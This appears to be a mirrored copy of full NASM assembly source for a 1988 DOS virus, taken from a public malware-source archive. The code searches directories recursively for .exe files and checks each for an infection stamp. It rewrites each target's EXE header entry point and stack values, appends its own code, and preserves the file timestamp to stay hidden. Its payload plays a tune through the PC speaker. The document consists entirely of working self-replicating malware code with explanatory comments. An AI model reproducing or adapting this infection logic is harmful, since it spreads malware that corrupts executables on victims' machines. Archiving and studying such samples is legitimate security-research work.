mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-29 06:25:27 +00:00
1002 lines
27 KiB
NASM
1002 lines
27 KiB
NASM
comment / Good luck! Vladimir Botchev, CICT-BAS, december 1988 /
|
|
|
|
data_area struc ;Define a pattern for working data
|
|
;area
|
|
DS_save dw ?
|
|
ES_save dw ?
|
|
IP_save dw ?
|
|
CS_save dw ?
|
|
SS_save dw ?
|
|
filematch db '*.exe',00h ;Names for files to infect
|
|
matchall db '*.*',00h ;needed for the matching procedure
|
|
infected dw 00h ;A very useful flag
|
|
help_flag dw 00h ;These two flags are needed to
|
|
where_from_flag dw 00h ;determine if virus is free running
|
|
;or from an infected program
|
|
;therefore it's very important
|
|
;that where_from_flag value
|
|
;is set to zero at assembly time
|
|
handle dw ?
|
|
ip_old dw ? ;old instruction pointer
|
|
cs_old dw ? ;old value of code segment
|
|
ss_old dw ?
|
|
far_push dw ?
|
|
save_push dw ?
|
|
buffer1 db '\',63 dup (?)
|
|
virus_stamp db 'motherfucker' ;Very hard to obtain in a random way
|
|
buffer2 db 2b0h dup (?)
|
|
new_area db 64 dup (?)
|
|
new_data db 64 dup (?)
|
|
pointer1 dw ?
|
|
pointer2 dw ?
|
|
pointer3 dw ?
|
|
pointer4 dw ?
|
|
pointer5 dw ?
|
|
pointer6 dw ?
|
|
pointer7 dw ?
|
|
pointer8 dw ?
|
|
|
|
data_area ends
|
|
|
|
org 100h ;Defined for .com file as virus must
|
|
;be able to run on itself
|
|
start: call setup_data ;This is a near call therefore it's a
|
|
;three byte instruction.It's purpose is
|
|
;to catch correct data area address
|
|
;even when virus is appended to the
|
|
;infected .exe program
|
|
adjust equ offset pgm_start ;Known offset value
|
|
pgm_start label word
|
|
virussize equ 2793
|
|
|
|
work: mov ax,ds ;Save old DS
|
|
push cs
|
|
pop ds ;Update to needed DS value
|
|
mov si,offset buffer.DS_save ;Put old DS in a quiet place
|
|
sub si,adjust
|
|
add si,bx
|
|
mov [si],ax
|
|
mov si,offset buffer.ES_save ;Save it because Get DTA side effects
|
|
sub si,adjust
|
|
add si,bx
|
|
mov ax,es
|
|
mov [si],ax
|
|
push cs ;Imperative because DI usage
|
|
pop es
|
|
push bx ;It's imperative to always keep
|
|
;this value unchanged
|
|
mov ax,2f00h ;Get DTA function call
|
|
int 21h
|
|
mov cx,bx ;save address found
|
|
pop bx
|
|
mov si,offset buffer.pointer1
|
|
sub si,adjust
|
|
add si,bx
|
|
mov [si],cx
|
|
add si,2 ;Locate the segment immediately above
|
|
mov ax,es
|
|
mov [si],ax
|
|
push cs
|
|
pop es
|
|
mov di,offset buffer.buffer1 ;adjust for first search
|
|
inc di ;Jump over the '\'
|
|
sub di,adjust
|
|
add di,bx
|
|
mov dx,0000h
|
|
push bx
|
|
call search_exe
|
|
pop bx
|
|
mov si,offset buffer.where_from_flag
|
|
sub si,adjust
|
|
add si,bx
|
|
cmp word ptr [si],0000h
|
|
jnz infected_run
|
|
int 020H
|
|
|
|
infected_run:
|
|
mov si,offset buffer.pointer1
|
|
sub si,adjust
|
|
add si,bx
|
|
mov dx,[si]
|
|
push ds
|
|
mov ax,[si+2]
|
|
mov ds,ax
|
|
push bx
|
|
mov ax,1a00h
|
|
int 21h
|
|
pop bx
|
|
pop ds ;Restore original DTA
|
|
mov si,offset buffer.ES_save
|
|
sub si,adjust
|
|
add si,bx
|
|
mov ax,[si]
|
|
mov es,ax ;Restore ES
|
|
push bx ;Here you can do whatever you want
|
|
call mary_proc
|
|
pop bx
|
|
mov si,offset buffer.IP_save
|
|
sub si,adjust
|
|
add si,bx
|
|
mov ax,[si]
|
|
mov dx,[si+2]
|
|
mov si,offset buffer.far_push ;Restore original code
|
|
sub si,adjust ;segment
|
|
add si,bx
|
|
mov cx,[si]
|
|
push ax
|
|
mov ax,cs
|
|
sub ax,cx
|
|
mov di,ax ;For stack
|
|
add dx,ax
|
|
pop ax
|
|
|
|
mov si,offset buffer.SS_save
|
|
sub si,adjust ;Restore stack segment
|
|
add si,bx
|
|
mov cx,word ptr [si]
|
|
add cx,di
|
|
|
|
push es
|
|
pop ds
|
|
|
|
cli
|
|
mov ss,cx
|
|
sti
|
|
push dx
|
|
push ax
|
|
retf
|
|
|
|
search_exe PROC
|
|
push si
|
|
push dx
|
|
call transfer_filespec ;transfer filename in another
|
|
;working area
|
|
call find_first ;try to find a first match
|
|
jc not_here ;first match not found
|
|
call try_to_infect ;if found try to infect
|
|
;infected != 0 if success
|
|
mov si,offset buffer.infected
|
|
sub si,adjust
|
|
add si,bx
|
|
test word ptr [si],0ffffh
|
|
jz try_next
|
|
jmp quiet_exit
|
|
|
|
try_next:
|
|
call find_next ;If infection was not succesful
|
|
;try once more
|
|
jc not_here
|
|
call try_to_infect ;If match found try to infect
|
|
mov si,offset buffer.infected ;again
|
|
sub si,adjust
|
|
add si,bx
|
|
test word ptr [si],0ffffh
|
|
jz try_next
|
|
jmp quiet_exit ;quiet exit simply jumps
|
|
;to a return instruction
|
|
not_here:
|
|
pop dx ;If first searches are
|
|
push dx ;unsuccesful try a '*.*' match
|
|
call search_all
|
|
call find_first
|
|
jnc attribute_test ;i.e. expect probably to
|
|
;find a subdirectory
|
|
quiet_exit:
|
|
pop dx
|
|
pop si
|
|
ret
|
|
|
|
attribute_test:
|
|
mov si,dx ;offset of DTA
|
|
test byte ptr [si+015h],010h ;where attribute byte is to
|
|
;be found.Try first with
|
|
;subdirectory attribute
|
|
jne dir_found ;subdirectory found
|
|
more_tries:
|
|
call find_next ;Since the search was initiated
|
|
;with '*.*' if this is not a
|
|
;directory try to found one
|
|
jc quiet_exit ;No sense to search more
|
|
test byte ptr [si+015h],010h
|
|
jz more_tries ;Search to the end
|
|
dir_found:
|
|
cmp byte ptr [si+01Eh],02Eh ;Compare with the subdirectory
|
|
;mark '.'
|
|
jz more_tries ;looking for files no
|
|
;subdirectories
|
|
call dta_compute ;Valid entry, now set some DTA
|
|
;and continue to search
|
|
push ax
|
|
mov ah,01Ah ;Set DTA function call
|
|
int 021h
|
|
pop ax
|
|
push si
|
|
mov si,offset buffer.infected
|
|
sub si,adjust
|
|
add si,bx
|
|
test word ptr [si],0ffffh
|
|
pop si
|
|
jnz quiet_exit
|
|
jmp more_tries
|
|
search_exe ENDP
|
|
|
|
dta_compute PROC
|
|
push di ;Save some registers
|
|
push si
|
|
push ax
|
|
push bx
|
|
cld ;Up count for SI,DI pair
|
|
mov si,dx ;DTA address to SI
|
|
add si,01EH ;and add subdirectory
|
|
;name offset
|
|
store_loop:
|
|
lodsb
|
|
stosb
|
|
or al,al
|
|
jne store_loop ;store loop
|
|
std
|
|
stosb
|
|
mov al,05Ch ;Put in place the path name constructor
|
|
stosb
|
|
add di,2 ;Adjust di for new searches
|
|
call search_exe ;a heavily recursion
|
|
pop bx ;some cleanup and exit
|
|
pop ax
|
|
pop si
|
|
pop di
|
|
ret
|
|
dta_compute ENDP
|
|
|
|
try_to_infect PROC
|
|
push ax
|
|
push bx
|
|
push cx
|
|
push dx
|
|
push si
|
|
push di
|
|
|
|
push es
|
|
push bx
|
|
mov ax,2f00h ;Get DTA function call
|
|
int 21h
|
|
mov ax,bx
|
|
pop bx
|
|
mov si,offset buffer.pointer3
|
|
sub si,adjust
|
|
add si,bx
|
|
mov [si],ax ;Offset saved
|
|
add si,2
|
|
mov ax,es
|
|
mov [si],ax
|
|
pop es ;Segment located just above
|
|
|
|
mov dx,offset buffer.new_data
|
|
sub dx,adjust
|
|
add dx,bx
|
|
push bx
|
|
mov ax,1a00h
|
|
int 21h ;Set DTA function call
|
|
pop bx ;It's very important to save BX in all calls
|
|
mov di,offset buffer.new_area
|
|
mov si,offset buffer.buffer1
|
|
sub di,adjust
|
|
sub si,adjust
|
|
add di,bx
|
|
add si,bx
|
|
cld ; Move previously found pathname or filename
|
|
; to new data area
|
|
move_path:
|
|
lodsb
|
|
stosb
|
|
or al,al
|
|
jnz move_path
|
|
std ;adjust DI to recieve
|
|
mov al,'\' ;filename.
|
|
mov cx,0040h
|
|
std ;Search backward
|
|
repne scasb
|
|
|
|
mov si,offset buffer.pointer3
|
|
sub si,adjust
|
|
add si,bx
|
|
mov ax,[si]
|
|
mov si,ax
|
|
add di,2
|
|
o_kay:
|
|
add si,001eh ;The beginning of the filename...
|
|
cld ;Now move name
|
|
move_fnm:
|
|
lodsb
|
|
stosb
|
|
or al,al
|
|
jnz move_fnm
|
|
|
|
push dx
|
|
push bx
|
|
mov dx,offset buffer.new_area
|
|
sub dx,adjust
|
|
add dx,bx
|
|
mov ax,3d02h ;Open file with handle for read/write
|
|
int 21h
|
|
pop bx
|
|
pop dx
|
|
jnc go_ahead ;In case file cannot be opened
|
|
jmp error_exit
|
|
go_ahead:
|
|
mov si,offset buffer.handle
|
|
sub si,adjust
|
|
add si,bx
|
|
mov [si],ax ;Save handle
|
|
|
|
push bx
|
|
mov bx,ax ;Prepare for lseek
|
|
push dx
|
|
mov cx,0000h ;Look at the end of the file
|
|
mov dx,0000h ;Offset of -12 from the end of the file
|
|
mov ax,4202h ;Lseek function call
|
|
int 21h
|
|
mov cx,dx
|
|
pop dx
|
|
pop bx
|
|
jnc compute_length
|
|
jmp close_error
|
|
|
|
compute_length:
|
|
sub ax,000ch
|
|
sbb cx,0000h ;Exact position
|
|
save_offset:
|
|
mov si,offset buffer.pointer5
|
|
sub si,adjust
|
|
add si,bx
|
|
mov [si],ax
|
|
add si,2
|
|
mov [si],cx
|
|
|
|
push bx
|
|
push dx
|
|
mov si,offset buffer.handle
|
|
sub si,adjust
|
|
add si,bx
|
|
mov bx,[si]
|
|
mov dx,ax
|
|
mov ax,4200h ;From beginning of file
|
|
int 21h ;Lseek function call
|
|
pop dx
|
|
pop bx
|
|
jnc set_buffer
|
|
jmp close_error
|
|
|
|
set_buffer:
|
|
push bx
|
|
push dx
|
|
mov dx,offset buffer.new_data
|
|
sub dx,adjust
|
|
add dx,bx
|
|
mov si,offset buffer.handle
|
|
sub si,adjust
|
|
add si,bx
|
|
mov bx,[si] ;Load handle
|
|
mov cx,000ch
|
|
mov ax,3f00h
|
|
int 21h ;Read function call
|
|
pop dx
|
|
pop bx
|
|
jnc read_ok
|
|
jmp close_error
|
|
|
|
read_ok:
|
|
mov si,offset buffer.virus_stamp
|
|
mov di,offset buffer.new_data
|
|
sub si,adjust
|
|
sub di,adjust
|
|
add si,bx
|
|
add di,bx
|
|
mov cx,12 ;Length of strings to compare
|
|
repe cmpsb
|
|
pushf
|
|
mov si,offset buffer.infected
|
|
sub si,adjust
|
|
add si,bx
|
|
mov word ptr [si],0000h
|
|
popf
|
|
jnz infect_it
|
|
|
|
close_error:
|
|
mov si,offset buffer.handle
|
|
sub si,adjust
|
|
add si,bx
|
|
push bx
|
|
mov bx,[si]
|
|
mov ax,3e00h ;Close file function call
|
|
int 21h
|
|
pop bx
|
|
jmp error_exit
|
|
|
|
infect_it:
|
|
mov si,offset buffer.infected
|
|
sub si,adjust
|
|
add si,bx
|
|
mov word ptr [si],7777h
|
|
|
|
mov si,offset buffer.where_from_flag
|
|
sub si,adjust
|
|
add si,bx
|
|
mov ax,[si]
|
|
sub si,2
|
|
mov [si],ax ;This code effectively moves
|
|
;where_from_flag into help_flag
|
|
add si,2
|
|
mov [si],5a5ah ;Ready to infect
|
|
push bx
|
|
push dx
|
|
mov si,offset buffer.handle
|
|
sub si,adjust
|
|
add si,bx
|
|
mov bx,[si]
|
|
xor cx,cx
|
|
xor dx,dx
|
|
mov ax,4200h ;From beginning of file
|
|
int 21h ;Lseek function call
|
|
pop dx
|
|
pop bx
|
|
jnc set_new_data
|
|
jmp append_ok
|
|
|
|
set_new_data:
|
|
push bx
|
|
push dx
|
|
mov dx,offset buffer.new_data
|
|
sub dx,adjust
|
|
add dx,bx
|
|
mov si,offset buffer.handle
|
|
sub si,adjust
|
|
add si,bx
|
|
mov bx,[si] ;Load handle
|
|
mov cx,001bh ;Read formatted exe header
|
|
mov ax,3f00h
|
|
int 21h ;Read function call
|
|
pop dx
|
|
pop bx
|
|
jnc read_header
|
|
jmp append_ok
|
|
|
|
read_header:
|
|
nop ;some code to modify header
|
|
mov si,offset buffer.pointer5
|
|
sub si,adjust
|
|
add si,bx
|
|
mov ax,[si]
|
|
add si,2
|
|
add ax,0ch
|
|
adc word ptr [si],0000h
|
|
sub si,2
|
|
mov [si],ax ;This code restores original filelength
|
|
mov si,offset buffer.new_data
|
|
sub si,adjust
|
|
add si,bx
|
|
mov ax,[si]
|
|
cmp ax,5a4dh ;check for valid exe file
|
|
jz valid_exe
|
|
jmp append_ok
|
|
|
|
valid_exe:
|
|
mov ax,[si+8] ;Load module size
|
|
xor dx,dx
|
|
shl ax,1
|
|
rcl dx,1
|
|
shl ax,1
|
|
rcl dx,1
|
|
shl ax,1
|
|
rcl dx,1
|
|
shl ax,1
|
|
rcl dx,1 ;Multiply by 16
|
|
|
|
push ax
|
|
push dx ;Adjust new size
|
|
push cx
|
|
mov dx,virussize-896+64
|
|
push dx
|
|
mov cx,0009h
|
|
shr dx,cl
|
|
add word ptr [si+4],dx
|
|
pop dx
|
|
and dx,01ffh
|
|
add dx,word ptr [si+2]
|
|
cmp dx,512
|
|
jl adjust_okay
|
|
sub dx,512
|
|
inc word ptr [si+4]
|
|
adjust_okay:
|
|
mov word ptr [si+2],dx
|
|
pop cx
|
|
pop dx
|
|
pop ax
|
|
|
|
push si ;This SI is very useful so save it
|
|
mov si,offset buffer.pointer5
|
|
sub si,adjust
|
|
add si,bx
|
|
sub [si],ax
|
|
mov ax,[si]
|
|
sbb [si+2],dx
|
|
mov dx,[si+2] ;the byte size of the load module
|
|
pop si
|
|
|
|
push ax
|
|
push dx
|
|
mov ax,[si+14h]
|
|
mov dx,[si+16h] ;Get CS:IP value
|
|
mov cx,[si+0eh] ;Get SS value
|
|
push si
|
|
mov si,offset buffer.IP_save
|
|
sub si,adjust
|
|
add si,bx
|
|
xchg [si],ax
|
|
xchg [si+2],dx
|
|
mov si,offset buffer.SS_save
|
|
sub si,adjust
|
|
add si,bx
|
|
xchg [si],cx
|
|
mov si,offset buffer.ip_old
|
|
sub si,adjust
|
|
add si,bx
|
|
mov [si],ax
|
|
mov [si+2],dx
|
|
mov si,offset buffer.ss_old
|
|
sub si,adjust
|
|
add si,bx
|
|
mov [si],cx
|
|
pop si
|
|
pop dx
|
|
pop ax
|
|
|
|
push ax
|
|
push dx
|
|
|
|
shl ax,1
|
|
rcl dx,1
|
|
shl ax,1
|
|
rcl dx,1
|
|
shl ax,1
|
|
rcl dx,1
|
|
shl ax,1
|
|
rcl dx,1 ;Multiply by 16
|
|
|
|
mov cx,0008h
|
|
shl dx,cl
|
|
mov cx,0004h
|
|
shr ax,cl ;A very obscure algorithm to make
|
|
;a segment:offset pair
|
|
mov [si+14h],ax
|
|
mov [si+16h],dx ;Infected values
|
|
|
|
push si
|
|
mov si,offset buffer.far_push
|
|
sub si,adjust
|
|
add si,bx
|
|
xchg [si],dx
|
|
mov word ptr [si+2],dx
|
|
pop si
|
|
|
|
pop dx
|
|
pop ax
|
|
add ax,virussize
|
|
adc dx,0000h
|
|
mov cx,0003h
|
|
|
|
mul_loop:
|
|
shl ax,1
|
|
rcl dx,1
|
|
shl ax,1
|
|
rcl dx,1
|
|
shl ax,1
|
|
rcl dx,1
|
|
shl ax,1
|
|
rcl dx,1 ;Multiply by 4096
|
|
loop mul_loop
|
|
|
|
or ax,ax
|
|
jz exact_value
|
|
inc dx
|
|
exact_value:
|
|
mov [si+0eh],dx ;Infected stack segment
|
|
;Write back infected header
|
|
push si
|
|
push bx
|
|
mov si,offset buffer.handle
|
|
sub si,adjust
|
|
add si,bx
|
|
mov bx,[si]
|
|
mov ax,5700h ;Get time function
|
|
int 21h
|
|
pop bx
|
|
pop si
|
|
jnc correct_time
|
|
jmp append_ok1
|
|
|
|
correct_time:
|
|
push cx
|
|
push bx
|
|
push dx
|
|
mov si,offset buffer.handle
|
|
sub si,adjust
|
|
add si,bx
|
|
mov bx,[si]
|
|
xor cx,cx
|
|
xor dx,dx
|
|
mov ax,4200h ;From beginning of file
|
|
int 21h ;Lseek function call
|
|
pop dx
|
|
pop bx
|
|
pop cx
|
|
jnc continue_infection
|
|
jmp append_ok1
|
|
|
|
continue_infection:
|
|
push cx
|
|
push dx
|
|
push bx
|
|
mov dx,offset buffer.new_data
|
|
sub dx,adjust
|
|
add dx,bx
|
|
mov si,offset buffer.handle
|
|
sub si,adjust
|
|
add si,bx
|
|
mov bx,[si] ;Load handle
|
|
mov cx,001bh ;Write infected exe header
|
|
mov ax,4000h
|
|
int 21h ;Write function call
|
|
pop bx
|
|
pop dx
|
|
pop cx
|
|
jnc glue_virus
|
|
jmp append_ok1
|
|
|
|
glue_virus:
|
|
push cx
|
|
push bx
|
|
push dx
|
|
mov si,offset buffer.handle
|
|
sub si,adjust
|
|
add si,bx
|
|
mov bx,[si]
|
|
xor cx,cx
|
|
xor dx,dx
|
|
mov ax,4202h ;From the end of file
|
|
int 21h ;Lseek function call
|
|
pop dx
|
|
pop bx
|
|
pop cx
|
|
jnc write_data
|
|
jmp append_ok1
|
|
|
|
write_data:
|
|
mov si,offset buffer.handle
|
|
sub si,adjust
|
|
add si,bx
|
|
|
|
push dx
|
|
push cx
|
|
mov dx,bx
|
|
sub dx,3 ;The starting three byte call instruction
|
|
push es
|
|
push bx
|
|
push dx
|
|
push si
|
|
mov ax,2f00h
|
|
int 21h
|
|
pop si
|
|
pop dx
|
|
push es
|
|
push bx
|
|
push si
|
|
mov ax,1a00h
|
|
int 21h
|
|
pop si
|
|
mov bx,[si] ;Load handle
|
|
mov cx,virussize-896+64 ;Length of virus obtained
|
|
mov ax,4000h ;with dir
|
|
int 21h
|
|
lahf ;Write function call
|
|
pop bx
|
|
pop es
|
|
push ds
|
|
push es
|
|
pop ds
|
|
mov dx,bx
|
|
|
|
push ax
|
|
mov ax,1a00h
|
|
int 21h
|
|
pop ax
|
|
pop ds
|
|
pop bx
|
|
pop es
|
|
pop cx
|
|
pop dx
|
|
|
|
sahf
|
|
jnc put_stamp ;Error or not file
|
|
jmp append_ok1 ;is closed
|
|
|
|
put_stamp:
|
|
push bx
|
|
mov si,offset buffer.handle
|
|
sub si,adjust
|
|
add si,bx
|
|
mov bx,[si]
|
|
mov ax,5701h ;Set time function
|
|
int 21h
|
|
pop bx
|
|
append_ok1:
|
|
mov si,offset buffer.ip_old ;Restore previous CS:IP values
|
|
sub si,adjust
|
|
add si,bx
|
|
mov ax,[si]
|
|
mov dx,[si+2]
|
|
mov si,offset buffer.IP_save
|
|
sub si,adjust
|
|
add si,bx
|
|
mov [si],ax
|
|
mov [si+2],dx
|
|
mov si,offset buffer.save_push
|
|
sub si,adjust
|
|
add si,bx
|
|
mov ax,[si]
|
|
mov word ptr [si-2],ax
|
|
mov si,offset buffer.ss_old
|
|
sub si,adjust
|
|
add si,bx
|
|
mov ax,[si]
|
|
mov si,offset buffer.SS_save
|
|
sub si,adjust
|
|
add si,bx
|
|
mov word ptr [si],ax
|
|
append_ok:
|
|
mov si,offset buffer.help_flag
|
|
sub si,adjust
|
|
add si,bx
|
|
mov ax,[si]
|
|
add si,2
|
|
mov [si],ax ;This code effectively moves
|
|
;help_flag into where_from_flag
|
|
jmp close_error
|
|
error_exit:
|
|
mov si,offset buffer.pointer3
|
|
sub si,adjust
|
|
add si,bx
|
|
mov dx,[si] ;Restore original DTA
|
|
add si,2
|
|
mov ax,[si]
|
|
push ds
|
|
mov ds,ax
|
|
mov ax,1a00h ;Set DTA function call
|
|
int 21h
|
|
pop ds
|
|
pop di
|
|
pop si
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
ret
|
|
try_to_infect ENDP
|
|
|
|
transfer_filespec PROC
|
|
push si
|
|
mov si,offset buffer.filematch ;Transfer name to the working area
|
|
sub si,adjust
|
|
add si,bx
|
|
call byte_move
|
|
pop si
|
|
ret
|
|
transfer_filespec ENDP
|
|
|
|
search_all PROC
|
|
push si
|
|
mov si,offset buffer.matchall ;This is the '*.*' filename
|
|
sub si,adjust
|
|
add si,bx
|
|
call byte_move
|
|
pop si
|
|
ret
|
|
search_all ENDP
|
|
|
|
byte_move PROC
|
|
push ax
|
|
push di
|
|
cld
|
|
move_loop:
|
|
lodsb
|
|
stosb
|
|
or al,al ;The string to move is ASCIIZ
|
|
jne move_loop
|
|
pop di
|
|
pop ax
|
|
ret
|
|
byte_move ENDP
|
|
|
|
find_first PROC
|
|
push cx
|
|
push bx
|
|
cmp dx,0000h
|
|
jnbe over_set
|
|
mov dx,offset buffer.buffer2 ;Set Data Transfer Area
|
|
sub dx,adjust ;or Disk Transfer area
|
|
add dx,bx
|
|
over_set:
|
|
add dx,02Bh
|
|
mov cx,00010h ;Attribute byte for directory search
|
|
mov ah,01ah
|
|
int 021h ;Set DTA function call
|
|
pop bx
|
|
push bx
|
|
push dx
|
|
mov dx,offset buffer.buffer1
|
|
sub dx,adjust
|
|
add dx,bx
|
|
mov ah,04eh ;find first function call
|
|
int 021h
|
|
pop dx
|
|
pop bx
|
|
pop cx
|
|
ret
|
|
find_first ENDP
|
|
|
|
find_next PROC
|
|
push cx
|
|
push bx
|
|
push dx
|
|
mov dx,offset buffer.buffer1
|
|
sub dx,adjust
|
|
add dx,bx
|
|
mov cx,00010h
|
|
mov ah,04fh ;Find next function call
|
|
int 021h
|
|
pop dx
|
|
pop bx
|
|
pop cx
|
|
ret
|
|
find_next ENDP
|
|
|
|
delay PROC
|
|
push ax
|
|
push bx
|
|
push cx
|
|
push dx
|
|
mov ah,2ch ;Read current time
|
|
int 21h
|
|
mov ah,ch
|
|
add al,cl
|
|
add bh,dh
|
|
add bl,dl
|
|
cmp bl,100
|
|
jb secs
|
|
sub bl,100
|
|
inc bh
|
|
secs:
|
|
cmp bh,60
|
|
jb mins
|
|
sub bh,60
|
|
inc al
|
|
mins:
|
|
cmp al,60
|
|
jb hours
|
|
sub al,60
|
|
inc ah
|
|
hours:
|
|
cmp ah,24
|
|
jne tcheck
|
|
sub ah,ah
|
|
tcheck:
|
|
push ax
|
|
mov ah,2ch
|
|
int 21h
|
|
pop ax
|
|
cmp cx,ax
|
|
ja tdquit
|
|
jb tcheck
|
|
cmp dx,bx
|
|
jb tcheck
|
|
tdquit:
|
|
pop dx
|
|
pop cx
|
|
pop bx
|
|
pop ax
|
|
ret
|
|
delay ENDP
|
|
|
|
sound PROC
|
|
push ax
|
|
push cx
|
|
push dx
|
|
push di
|
|
|
|
mov al,0b6h
|
|
out 43h,al
|
|
mov dx,14h
|
|
mov ax,533h*896
|
|
div di
|
|
out 42h,al
|
|
mov al,ah
|
|
out 42h,al
|
|
in al,61h
|
|
mov ah,al
|
|
or al,3
|
|
out 61h,al
|
|
mov al,cl
|
|
call delay
|
|
mov al,ah
|
|
out 61h,al
|
|
pop di
|
|
pop dx
|
|
pop cx
|
|
pop ax
|
|
ret
|
|
sound ENDP
|
|
|
|
music_play PROC
|
|
push bx
|
|
push cx
|
|
push di
|
|
push si
|
|
push bp
|
|
freq:
|
|
mov di,[si]
|
|
cmp di,0ffffh
|
|
je end_play
|
|
mov bl,ds:[bp]
|
|
sub cl,cl
|
|
sub bh,bh
|
|
call sound
|
|
add si,2
|
|
inc bp
|
|
jnz freq
|
|
end_play:
|
|
pop bp
|
|
pop si
|
|
pop di
|
|
pop cx
|
|
pop bx
|
|
ret
|
|
music_play ENDP
|
|
|
|
mary_proc PROC
|
|
push bx
|
|
push bp
|
|
mov si,offset mary_freq
|
|
mov bp,offset mary_time
|
|
sub si,adjust
|
|
sub bp,adjust
|
|
add si,bx
|
|
add bp,bx
|
|
call music_play
|
|
pop bp
|
|
pop bx
|
|
ret
|
|
mary_proc ENDP
|
|
|
|
mary_freq dw 262,262,293,329,262,329,293,196
|
|
dw 262,262,293,329,262,262
|
|
dw 262,262,293,329,349,329,293,262
|
|
dw 246,196,220,246,262,262
|
|
dw 220,246,220,174,220,246,262,220
|
|
dw 196,220,196,174,164,174,196
|
|
dw 220,246,220,174,220,246,262,220
|
|
dw 196,262,246,293,262,262,0ffffh
|
|
mary_time db 8 dup(25)
|
|
db 4 dup(25), 50, 50
|
|
db 8 dup(25)
|
|
db 4 dup(25), 50, 50
|
|
db 26, 25, 26, 5 dup(25)
|
|
db 26, 25, 26, 3 dup(25), 30
|
|
db 26, 25, 26, 4 dup(25), 30
|
|
db 4 dup(25), 50, 50
|
|
setup_data:
|
|
cli
|
|
pop bx ;This will catch instruction pointer
|
|
push bx
|
|
sti ;value and after that restore stack
|
|
ret ;pointer value
|
|
buffer data_area <> ;Reseve data_area space
|